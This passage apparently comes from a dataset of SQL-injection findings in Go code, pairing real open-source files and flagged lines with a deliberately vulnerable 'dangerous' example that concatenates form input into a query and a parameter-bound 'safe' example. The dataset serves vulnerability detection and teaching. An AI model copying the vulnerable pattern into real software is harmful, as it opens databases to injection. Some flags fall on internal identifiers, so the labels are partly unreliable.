\tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 157, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 157, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "7bc921f356b9a9f4a5143a8b814f0f8e9db740590984251afc570a6315eae61f", "license": {"spdx": ["Apache-2.0"], "repo": "chenshunliang/kubegems", "path": "pkg/service/models/base.go", "repo_head_hexsha": "a1033c6818b204f7e2fbf3c5d2c0422d32030af5", "stack_hexsha": "42da1f2f380441a1947b6256e1ba7f8ad39a257a", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 23, "entireCode": "package models\n\nimport (\n\t\"database/sql\"\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/VividCortex/mysqlerr\"\n\tdriver \"github.com/go-sql-driver/mysql\"\n\t\"gorm.io/gorm\"\n\t\"kubegems.io/pkg/utils/database\"\n\t\"kubegems.io/pkg/utils/gemsplugin\"\n\t\"kubegems.io/pkg/utils/prometheus\"\n)\n\nfunc createDatabaseIfNotExists(dsn, dbname string) error {\n\ttmpdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer tmpdb.Close()\n\tsqlStr := fmt.Sprintf(\"CREATE DATABASE IF NOT EXISTS `%s` DEFAULT CHARACTER SET utf8mb4;\", dbname)\n\tif _, err := tmpdb.Exec(sqlStr); err != nil {\n\t\treturn err\n\t}\n\tif _, err := tmpdb.Exec(sqlStr); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc MigrateDatabaseAndInitData(opts *database.Options, initData bool) error {\n\t// init database schema\n\tif err := createDatabaseIfNotExists(opts.ToDsnWithOutDB()); err != nil {\n\t\treturn err\n\t}\n\n\tdb, err := database.NewDatabase(opts)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := migrateModels(db.DB()); err != nil {\n\t\treturn err\n\t}\n\n\tif initData {\n\t\tif err := initBaseData(db.DB()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// 初始化系统角色和系统管理员\nfunc initBaseData(db *gorm.DB) error {\n\tactive := true\n\tsysadmin := SystemRole{ID: 1, RoleName: \"系统管理员\", RoleCode: \"sysadmin\"}\n\tnormal := SystemRole{ID: 2, RoleName: \"普通用户\", RoleCode: \"normal\"}\n\tadmin := User{\n\t\tID: 1,\n\t\tUsername: \"admin\",\n\t\tIsActive: &active,\n\t\tSystemRoleID: 1,\n\t\t// 默认密码 demo!@#admin 生成 htpasswd -bnBC 10 \"\" 'demo!@#admin'| tr -d ':\\n'\n\t\tPassword: \",\n\t}\n\tif e := db.FirstOrCreate(&sysadmin, sysadmin.ID).Error; e != nil {\n\t\treturn e\n\t}\n\tif e := db.FirstOrCreate(&normal, normal.ID).Error; e != nil {\n\t\treturn e\n\t}\n\tif e := db.FirstOrCreate(&admin, admin.ID).Error; e != nil {\n\t\treturn e\n\t}\n\n\t// init default online configs\n\tinstallerCfg := OnlineConfig{\n\t\tName: gemsplugin.DefaultInstallerOptions().Name(),\n\t\tContent: gemsplugin.DefaultInstallerOptions().JSON(),\n\t}\n\tmonitorCfg := OnlineConfig{\n\t\tName: prometheus.DefaultMonitorOptions().Name(),\n\t\tContent: prometheus.DefaultMonitorOptions().JSON(),\n\t}\n\tif e := db.FirstOrCreate(&installerCfg).Error; e != nil {\n\t\treturn e\n\t}\n\tif e := db.FirstOrCreate(&monitorCfg).Error; e != nil {\n\t\treturn e\n\t}\n\n\treturn nil\n}\n\nfunc migrateModels(db *gorm.DB) error {\n\treturn db.AutoMigrate(\n\t\t// 审计表\n\t\t&AuditLog{},\n\t\t// 用户表\n\t\t&User{},\n\t\t// 系统角色表\n\t\t&SystemRole{},\n\t\t// 租户表\n\t\t&Tenant{},\n\t\t// 租户成员关系表\n\t\t&TenantUserRels{},\n\t\t// 租户集群资源表\n\t\t&TenantResourceQuota{},\n\t\t// 项目表\n\t\t&Project{},\n\t\t// 项目成员关系表\n\t\t&ProjectUserRels{},\n\t\t// 环境表\n\t\t&Environment{},\n\t\t// 环境成员关系表\n\t\t&EnvironmentUserRels{},\n\t\t// 应用表\n\t\t&Application{},\n\t\t// 集群表\n\t\t&Cluster{},\n\t\t// 镜像仓库表\n\t\t&Registry{},\n\t\t// 日志查询历史表\n\t\t&LogQueryHistory{},\n\t\t// 日志查询快照表\n\t\t&LogQuerySnapshot{},\n\t\t// workload 资源建议表\n\t\t&Workload{},\n\t\t// 容器资源建议表\n\t\t&Container{},\n\t\t// 租户集群资源申请表\n\t\t&TenantResourceQuotaApply{},\n\t\t// ??\n\t\t&EnvironmentResource{},\n\t\t// 消息表\n\t\t&Message{},\n\t\t// 用户消息表\n\t\t&UserMessageStatus{},\n\t\t// helmChart仓库\n\t\t&ChartRepo{},\n\t\t// 虚拟空间表\n\t\t&VirtualSpace{},\n\t\t// 虚拟空间用户表\n\t\t&VirtualSpaceUserRels{},\n\t\t// 虚拟域名表\n\t\t&VirtualDomain{},\n\t\t// 告警信息表\n\t\t&AlertInfo{},\n\t\t// 告警消息表\n\t\t&AlertMessage{},\n\t\t// 监控面板表\n\t\t&MonitorDashboard{},\n\t\t// 配置\n\t\t&OnlineConfig{},\n\t\t// 登陆源\n\t\t&AuthSource{},\n\t)\n}\n\nfunc IsNotFound(err error) bool {\n\treturn errors.Is(err, gorm.ErrRecordNotFound)\n}\n\nfunc GetErrMessage(err error) string {\n\tme := &driver.MySQLError{}\n\tif !errors.As(err, &me) {\n\t\treturn err.Error()\n\t}\n\tswitch me.Number {\n\tcase mysqlerr.ER_DUP_ENTRY:\n\t\treturn fmt.Sprintf(\"存在重名对象(code=%v)\", me.Number)\n\tcase mysqlerr.ER_DATA_TOO_LONG:\n\t\treturn fmt.Sprintf(\"数据超长(code=%v)\", me.Number)\n\tcase mysqlerr.ER_TRUNCATED_WRONG_VALUE:\n\t\treturn fmt.Sprintf(\"日期格式错误(code=%v)\", me.Number)\n\tcase mysqlerr.ER_NO_REFERENCED_ROW_2:\n\t\treturn fmt.Sprintf(\"系统错误(外键关联数据出错 code=%v)\", me.Number)\n\tcase mysqlerr.ER_ROW_IS_REFERENCED_2:\n\t\treturn fmt.Sprintf(\"系统错误(外键关联数据错误 code=%v)\", me.Number)\n\tdefault:\n\t\treturn fmt.Sprintf(\"系统错误(code=%v, message=%v)!\", me.Number, me.Message)\n\t}\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Sprintf"}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 23, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "2e36ac35bf0575b5ab7340b30de81629c3b0f1b8a08a1310adcd8447d088046a", "license": {"spdx": ["Apache-2.0"], "repo": "czcorpus/vert-tagextract", "path": "db/database.go", "repo_head_hexsha": "594b39983a476d43b0a3e9767a1a8033a75ecf59", "stack_hexsha": "b6a999c8f4da6c572b9a883fb2fb675caf3f90c7", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 118, "entireCode": "// Copyright 2017 <>\n// Copyright 2017 Charles University, Faculty of Arts,\n// Institute of the Czech National Corpus\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage db\n\n/*\nThis file contains all the database operations\nrequired to create a proper schema for\nliveattrs (tables and their indices, views)\n*/\n\nimport (\n\t\"database/sql\"\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t_ \"github.com/mattn/go-sqlite3\" // load the driver\n)\n\n// OpenDatabase opens a sqlite3 database specified by\n// its filesystem path. In case of an error it panics.\nfunc OpenDatabase(dbPath string) (*sql.DB, error) {\n\tvar err error\n\tif db, err := sql.Open(\"sqlite3\", dbPath); err == nil {\n\t\treturn db, nil\n\t}\n\treturn nil, fmt.Errorf(\"Failed to open text types db: %s\", err)\n}\n\n// PrepareInsert creates a prepared statement for an INSERT\n// operation.\nfunc PrepareInsert(database *sql.Tx, table string, cols []string) (*sql.Stmt, error) {\n\tvalReplac := make([]string, len(cols))\n\tfor i := range cols {\n\t\tvalReplac[i] = \"?\"\n\t}\n\tans, err := database.Prepare(fmt.Sprintf(\"INSERT INTO %s (%s) VALUES (%s)\", table, joinArgs(cols), joinArgs(valReplac)))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to prepare INSERT: %s\", err)\n\t}\n\treturn ans, nil\n}\n\n// generateColNames produces a list of structural\n// attribute names as used in database\n// (i.e. [structname]_[attr_name]) out of lists\n// of structural attributes defined in the configuration.\n// (see _examples/*.json)\nfunc generateColNames(structures map[string][]string) []string {\n\tnumAttrs := 0\n\tfor _, v := range structures {\n\t\tnumAttrs += len(v)\n\t}\n\tans := make([]string, numAttrs)\n\ti := 0\n\tfor k, v := range structures {\n\t\tfor _, a := range v {\n\t\t\tans[i] = fmt.Sprintf(\"%s_%s\", k, a)\n\t\t\ti++\n\t\t}\n\t}\n\treturn ans\n}\n\nfunc joinArgs(args []string) string {\n\treturn strings.Join(args, \", \")\n}\n\n// generateAuxColDefs creates definitions for\n// auxiliary columns (num of positions, num of words etc.)\nfunc generateAuxColDefs(hasSelfJoin bool) []string {\n\tans := make([]string, 4)\n\tans[0] = \"poscount INTEGER\"\n\tans[1] = \"wordcount INTEGER\"\n\tans[2] = \"corpus_id TEXT\"\n\tif hasSelfJoin {\n\t\tans[3] = \"item_id STRING\"\n\n\t} else {\n\t\tans = ans[:3]\n\t}\n\treturn ans\n}\n\n// generateViewColDefs creates definitions for\n// bibliography view\nfunc generateViewColDefs(cols []string, idAttr string) []string {\n\tans := make([]string, len(cols))\n\tfor i, c := range cols {\n\t\tif c != idAttr {\n\t\t\tans[i] = c\n\n\t\t} else {\n\t\t\tans[i] = fmt.Sprintf(\"%s AS id\", c)\n\t\t}\n\t}\n\treturn ans\n}\n\n// CreateBibView creates a database view needed\n// by liveattrs to fetch bibliography information.\nfunc CreateBibView(database *sql.DB, cols []string, idAttr string) error {\n\tcolDefs := generateViewColDefs(cols, idAttr)\n\t_, err := database.Exec(fmt.Sprintf(\"CREATE VIEW bibliography AS SELECT %s FROM item\", joinArgs(colDefs)))\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc createAuxIndices(database *sql.DB, cols []string) error {\n\tvar err error\n\tfor _, c := range cols {\n\t\t_, err = database.Exec(fmt.Sprintf(\"CREATE INDEX %s_idx ON item(%s)\", c, c))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tlog.Printf(\"Created custom index %s_idx on item(%s)\", c, c)\n\t}\n\treturn nil\n}\n\n// DropExisting drops existing tables/views.\n// It is safe to call this even if one or more\n// of these does not exist.\nfunc DropExisting(database *sql.DB) error {\n\tlog.Print(\"Attempting to drop possible existing tables and views...\")\n\tvar err error\n\t_, err = database.Exec(\"DROP TABLE IF EXISTS cache\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to drop table 'cache': %s\", err)\n\t}\n\t_, err = database.Exec(\"DROP VIEW IF EXISTS bibliography\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to drop view 'bibliography': %s\", err)\n\t}\n\t_, err = database.Exec(\"DROP TABLE IF EXISTS item\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to drop table 'item': %s\", err)\n\t}\n\t_, err = database.Exec(\"DROP TABLE IF EXISTS colcounts\")\n\tif err != nil {\n\t\treturn fmt.Errorf(\"Failed to drop table 'colcounts': %s\", err)\n\t}\n\tlog.Print(\"...DONE\")\n\treturn nil\n}\n\n// GenerateColCountNames creates a list of general column names\n// for positional attributes we would like to count. E.g. in\n// case we want [0, 1, 3] (this can be something like 'word', 'lemma' )\nfunc GenerateColCountNames(colCount []int) []string {\n\tcolumns := make([]string, len(colCount))\n\tfor i, v := range colCount {\n\t\tcolumns[i] = fmt.Sprintf(\"col%d\", v)\n\t}\n\treturn columns\n}\n\n// CreateSchema creates all the required tables, views and indices\nfunc CreateSchema(database *sql.DB, structures map[string][]string, indexedCols []string, useSelfJoin bool,\n\tcountColumns []int) error {\n\tlog.Print(\"Attempting to create tables and views...\")\n\n\tvar dbErr error\n\t_, dbErr = database.Exec(\"CREATE TABLE cache (key TEXT PRIMARY KEY, value TEXT)\")\n\tif dbErr != nil {\n\t\treturn fmt.Errorf(\"Failed to create table 'cache': %s\", dbErr)\n\t}\n\n\tcols := generateColNames(structures)\n\tcolsDefs := make([]string, len(cols))\n\tfor i, col := range cols {\n\t\tcolsDefs[i] = fmt.Sprintf(\"%s TEXT\", col)\n\t}\n\tauxColDefs := generateAuxColDefs(useSelfJoin)\n\tallCollsDefs := append(colsDefs, auxColDefs...)\n\t_, dbErr = database.Exec(fmt.Sprintf(\"CREATE TABLE item (id INTEGER PRIMARY KEY AUTOINCREMENT, %s)\", joinArgs(allCollsDefs)))\n\tif dbErr != nil {\n\t\treturn fmt.Errorf(\"Failed to create table 'item': %s\", dbErr)\n\t}\n\n\tif useSelfJoin {\n\t\t_, dbErr = database.Exec(\"CREATE UNIQUE INDEX item_id_corpus_id_idx ON item(item_id, corpus_id)\")\n\t\tif dbErr != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create index item_id_idx on item(item_id): %s\", dbErr)\n\t\t}\n\t}\n\tdbErr = createAuxIndices(database, indexedCols)\n\tif dbErr != nil {\n\t\treturn fmt.Errorf(\"Failed to create a custom index: %s\", dbErr)\n\t}\n\n\tif len(countColumns) > 0 {\n\t\tcolumns := GenerateColCountNames(countColumns)\n\t\tcolDefs := GenerateColCountNames(countColumns)\n\t\tfor i, c := range colDefs {\n\t\t\tcolDefs[i] = c + \" TEXT\"\n\t\t}\n\t\t_, dbErr = database.Exec(fmt.Sprintf(\"CREATE TABLE colcounts (%s, corpus_id TEXT, count INTEGER, arf INTEGER, PRIMARY KEY(%s))\",\n\t\t\tstrings.Join(colDefs, \", \"), strings.Join(columns, \", \")))\n\t\tif dbErr != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create table 'colcounts': %s\", dbErr)\n\t\t}\n\t\t_, dbErr = database.Exec(\"CREATE INDEX colcounts_corpus_id_idx ON colcounts(corpus_id)\")\n\t\tif dbErr != nil {\n\t\t\treturn fmt.Errorf(\"Failed to create index colcounts_corpus_id_idx on colcounts(corpus_id): %s\", dbErr)\n\t\t}\n\t}\n\tlog.Print(\"...DONE\")\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SQL_Injection(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \terr = DB.QueryRow(\"SELECT * FROM info where Id = '\"+id+\"' and pwd = '\"+pwd+\"';\").Scan(&tmp.ID, &tmp.Pwd)\n7. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n8. \n9. }\nLine 6: This is insecure because an external input value is used in a query statement without proper binding.", "safeExampleEn": "1. func Safe_SQL_Injection1(c *gin.Context) {\n2. \tid := c.PostForm(\"id\")\n3. \tpwd := c.PostForm(\"pwd\")\n4. \n5. \ttmp := models.User{}\n6. \trows, err := DB.QueryContext(c, \"SELECT * FROM info where Id = ? and pwd = ?\", id, pwd)\n7. \n8. err = rows.Scan(&tmp.ID, &tmp.Pwd)\n9. \tc.JSON(200, gin.H{\"id\": tmp.ID, \"pwd\": tmp.Pwd})\n10. }\nLine 6: This is secure because the external input value is used in the query statement after proper binding.", "contexts": [{"lineNo": 118, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 118, "eventType": "sink", "messageKey": "gochk.SQL_INJECTION.GO.defect.sink", "params": {}}]}} {"id": "bf53ef69767a997f0b54771288f0d94289053ea2ea162e808227156995124465", "license": {"spdx": ["Apache-2.0"], "repo": "udovin/Solve", "path": "models/base.go", "repo_head_hexsha": "850abee5810a959b75803b0e33f5cac0f6975c07", "stack_hexsha": "5b009915961e22c677b5edd11c9c02b3553708e0", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "SQL Injection", "issueDescriptionEn": "When code does not validate data entered on a web program and the program integrates with the database, an attacker can inject SQL statements in an input form or URL field to view or manipulate information from the database. A vulnerable web application creates dynamic queries with user input.\nThis can execute unintended queries and cause data leak.\nThe most efficient way to defend against SQL injection attacks is to use predefined static query statements or to bind parameters. When creating query statements that may contain user input, you should use proper binding characters such as `?`, `$`, `:` and so on for the database.", "issueLineNumber": 386, "entireCode": "// Package models contains tools for working with solve objects stored\n// in different databases like SQLite or Postgres.\npackage models\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"sync\"\n\t\"time\"\n\n\t\"github.com/udovin/gosql\"\n\t\"github.com/udovin/solve/db\"\n)\n\n// Cloner represents object that can be cloned.\ntype Cloner[T any] interface {\n\tClone() T\n}\n\ntype index[K comparable] map[K]map[int64]struct{}\n\nfunc makeIndex[K comparable]() index[K] {\n\treturn map[K]map[int64]struct{}{}\n}\n\nfunc (m index[K]) Create(key K, id int64) {\n\tif _, ok := m[key]; !ok {\n\t\tm[key] = map[int64]struct{}{}\n\t}\n\tm[key][id] = struct{}{}\n}\n\nfunc (m index[K]) Delete(key K, id int64) {\n\tdelete(m[key], id)\n\tif len(m[key]) == 0 {\n\t\tdelete(m, key)\n\t}\n}\n\ntype pairInt64 [2]int64\n\n// NInt64 represents nullable int64 with zero value means null value.\ntype NInt64 int64\n\n// Value returns value.\nfunc (v NInt64) Value() (driver.Value, error) {\n\tif v == 0 {\n\t\treturn nil, nil\n\t}\n\treturn int64(v), nil\n}\n\n// Scan scans value.\nfunc (v *NInt64) Scan(value any) error {\n\tswitch x := value.(type) {\n\tcase nil:\n\t\t*v = 0\n\tcase int64:\n\t\t*v = NInt64(x)\n\tdefault:\n\t\treturn fmt.Errorf(\"unsupported type: %T\", v)\n\t}\n\treturn nil\n}\n\nvar (\n\t_ driver.Valuer = NInt64(0)\n\t_ sql.Scanner = (*NInt64)(nil)\n)\n\n// JSON represents json value.\ntype JSON []byte\n\nconst nullJSON = \"null\"\n\n// Value returns value.\nfunc (v JSON) Value() (driver.Value, error) {\n\tif len(v) == 0 {\n\t\treturn nullJSON, nil\n\t}\n\treturn string(v), nil\n}\n\n// Scan scans value.\nfunc (v *JSON) Scan(value any) error {\n\tswitch data := value.(type) {\n\tcase nil:\n\t\t*v = nil\n\t\treturn nil\n\tcase []byte:\n\t\treturn v.UnmarshalJSON(data)\n\tcase string:\n\t\treturn v.UnmarshalJSON([]byte(data))\n\tdefault:\n\t\treturn fmt.Errorf(\"unsupported type: %T\", data)\n\t}\n}\n\n// MarshalJSON marshals JSON.\nfunc (v JSON) MarshalJSON() ([]byte, error) {\n\tif len(v) == 0 {\n\t\treturn []byte(nullJSON), nil\n\t}\n\treturn v, nil\n}\n\n// UnmarshalJSON unmarshals JSON.\nfunc (v *JSON) UnmarshalJSON(bytes []byte) error {\n\tif !json.Valid(bytes) {\n\t\treturn fmt.Errorf(\"invalid JSON value\")\n\t}\n\tif string(bytes) == nullJSON {\n\t\t*v = nil\n\t\treturn nil\n\t}\n\t*v = bytes\n\treturn nil\n}\n\nfunc (v JSON) Clone() JSON {\n\tif v == nil {\n\t\treturn nil\n\t}\n\tc := make(JSON, len(v))\n\tcopy(c, v)\n\treturn c\n}\n\nvar (\n\t_ driver.Valuer = JSON{}\n\t_ sql.Scanner = (*JSON)(nil)\n)\n\n// NString represents nullable string with empty value means null value.\ntype NString string\n\n// Value returns value.\nfunc (v NString) Value() (driver.Value, error) {\n\tif v == \"\" {\n\t\treturn nil, nil\n\t}\n\treturn string(v), nil\n}\n\n// Scan scans value.\nfunc (v *NString) Scan(value any) error {\n\tswitch x := value.(type) {\n\tcase nil:\n\t\t*v = \"\"\n\tcase string:\n\t\t*v = NString(x)\n\tcase []byte:\n\t\t*v = NString(x)\n\tdefault:\n\t\treturn fmt.Errorf(\"unsupported type: %T\", v)\n\t}\n\treturn nil\n}\n\nvar (\n\t_ driver.Valuer = NString(\"\")\n\t_ sql.Scanner = (*NString)(nil)\n)\n\n// EventType represents type of object event.\ntype EventType int8\n\nconst (\n\t// CreateEvent means that this is event of object creation.\n\tCreateEvent EventType = 1\n\t// DeleteEvent means that this is event of object deletion.\n\tDeleteEvent EventType = 2\n\t// UpdateEvent means that this is event of object modification.\n\tUpdateEvent EventType = 3\n)\n\n// String returns string representation of event.\nfunc (t EventType) String() string {\n\tswitch t {\n\tcase CreateEvent:\n\t\treturn \"create\"\n\tcase DeleteEvent:\n\t\treturn \"delete\"\n\tcase UpdateEvent:\n\t\treturn \"update\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"EventType(%d)\", t)\n\t}\n}\n\n// ObjectEvent represents event for object.\ntype ObjectEvent[T db.Object] interface {\n\tdb.Event\n\t// EventType should return type of object event.\n\tEventType() EventType\n\t// Object should return struct with object data.\n\tObject() T\n\t// WithObject should return copy of event with replaced object.\n\tWithObject(T) ObjectEvent[T]\n}\n\n// baseEvent represents base for all events.\ntype baseEvent struct {\n\t// BaseEventID contains event id.\n\tBaseEventID int64 `db:\"event_id\"`\n\t// BaseEventType contains type of event.\n\tBaseEventType EventType `db:\"event_type\"`\n\t// BaseEventTime contains event type.\n\tBaseEventTime int64 `db:\"event_time\"`\n}\n\n// EventId returns id of this event.\nfunc (e baseEvent) EventID() int64 {\n\treturn e.BaseEventID\n}\n\n// EventTime returns time of this event.\nfunc (e baseEvent) EventTime() time.Time {\n\treturn time.Unix(e.BaseEventTime, 0)\n}\n\n// EventType returns type of this event.\nfunc (e baseEvent) EventType() EventType {\n\treturn e.BaseEventType\n}\n\n// makeBaseEvent creates baseEvent with specified type.\nfunc makeBaseEvent(t EventType) baseEvent {\n\treturn baseEvent{BaseEventType: t, BaseEventTime: time.Now().Unix()}\n}\n\ntype baseStoreImpl[T db.Object] interface {\n\treset()\n\tmakeObject(id int64) T\n\tmakeObjectEvent(EventType) ObjectEvent[T]\n\tonCreateObject(T)\n\tonDeleteObject(T)\n\tonUpdateObject(T)\n}\n\n// Store represents cached store.\ntype Store interface {\n\tInit(ctx context.Context) error\n\tSync(ctx context.Context) error\n}\n\ntype baseStore[T db.Object, E ObjectEvent[T]] struct {\n\tdb *gosql.DB\n\ttable string\n\tobjects db.ObjectStore[T]\n\tevents db.EventStore[E]\n\tconsumer db.EventConsumer[E]\n\timpl baseStoreImpl[T]\n\tmutex sync.RWMutex\n}\n\n// DB returns store database.\nfunc (s *baseStore[T, E]) DB() *gosql.DB {\n\treturn s.db\n}\n\nfunc (s *baseStore[T, E]) Init(ctx context.Context) error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\treturn s.initUnlocked(ctx)\n}\n\nfunc (s *baseStore[T, E]) initUnlocked(ctx context.Context) error {\n\tif tx := db.GetTx(ctx); tx == nil {\n\t\treturn gosql.WrapTx(ctx, s.db, func(tx *sql.Tx) error {\n\t\t\treturn s.initUnlocked(db.WithTx(ctx, tx))\n\t\t}, sqlReadOnly)\n\t}\n\tif err := s.initEvents(ctx); err != nil {\n\t\treturn err\n\t}\n\treturn s.initObjects(ctx)\n}\n\nconst eventGapSkipWindow = 25000\n\nfunc (s *baseStore[T, E]) initEvents(ctx context.Context) error {\n\tbeginID, err := s.events.LastEventID(ctx)\n\tif err != nil {\n\t\tif err != sql.ErrNoRows {\n\t\t\treturn err\n\t\t}\n\t\tbeginID = 1\n\t}\n\tif beginID > eventGapSkipWindow {\n\t\tbeginID -= eventGapSkipWindow\n\t} else {\n\t\tbeginID = 1\n\t}\n\ts.consumer = db.NewEventConsumer[E](s.events, beginID)\n\treturn s.consumer.ConsumeEvents(ctx, func(E) error {\n\t\treturn nil\n\t})\n}\n\nfunc (s *baseStore[T, E]) initObjects(ctx context.Context) error {\n\trows, err := s.objects.LoadObjects(ctx)\n\tif err != nil && err != sql.ErrNoRows {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\t_ = rows.Close()\n\t}()\n\ts.impl.reset()\n\tfor rows.Next() {\n\t\ts.impl.onCreateObject(rows.Row())\n\t}\n\treturn rows.Err()\n}\n\nfunc (s *baseStore[T, E]) Sync(ctx context.Context) error {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\treturn s.consumer.ConsumeEvents(ctx, s.consumeEvent)\n}\n\n// Create creates object and returns copy with valid ID.\nfunc (s *baseStore[T, E]) Create(ctx context.Context, object *T) error {\n\tevent := s.impl.makeObjectEvent(CreateEvent).WithObject(*object).(E)\n\tif err := s.createObjectEvent(ctx, &event); err != nil {\n\t\treturn err\n\t}\n\t*object = event.Object()\n\treturn nil\n}\n\n// Update updates object with specified ID.\nfunc (s *baseStore[T, E]) Update(ctx context.Context, object T) error {\n\tevent := s.impl.makeObjectEvent(UpdateEvent).WithObject(object).(E)\n\treturn s.createObjectEvent(ctx, &event)\n}\n\n// Delete deletes compiler with specified ID.\nfunc (s *baseStore[T, E]) Delete(ctx context.Context, id int64) error {\n\tobject := s.impl.makeObject(id)\n\tevent := s.impl.makeObjectEvent(DeleteEvent).WithObject(object).(E)\n\treturn s.createObjectEvent(ctx, &event)\n}\n\nvar (\n\tsqlRepeatableRead = gosql.WithIsolation(sql.LevelRepeatableRead)\n\tsqlReadOnly = gosql.WithReadOnly(true)\n)\n\nfunc (s *baseStore[T, E]) createObjectEvent(\n\tctx context.Context, event *E,\n) error {\n\t// Force creation of new transaction.\n\tif tx := db.GetTx(ctx); tx == nil {\n\t\treturn gosql.WrapTx(ctx, s.db, func(tx *sql.Tx) error {\n\t\t\treturn s.createObjectEvent(db.WithTx(ctx, tx), event)\n\t\t}, sqlRepeatableRead)\n\t}\n\tswitch object := (*event).Object(); (*event).EventType() {\n\tcase CreateEvent:\n\t\tif err := s.objects.CreateObject(ctx, &object); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t*event = (*event).WithObject(object).(E)\n\tcase UpdateEvent:\n\t\tif err := s.objects.UpdateObject(ctx, &object); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t*event = (*event).WithObject(object).(E)\n\tcase DeleteEvent:\n\t\tif err := s.objects.DeleteObject(ctx, object.ObjectID()); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn s.events.CreateEvent(ctx, event)\n}\n\nfunc (s *baseStore[T, E]) lockStore(tx *sql.Tx) error {\n\tswitch s.db.Dialect() {\n\tcase gosql.SQLiteDialect:\n\t\treturn nil\n\tdefault:\n\t\t_, err := tx.Exec(fmt.Sprintf(\"LOCK TABLE %q\", s.table))\n\t\treturn err\n\t}\n}\n\nfunc (s *baseStore[T, 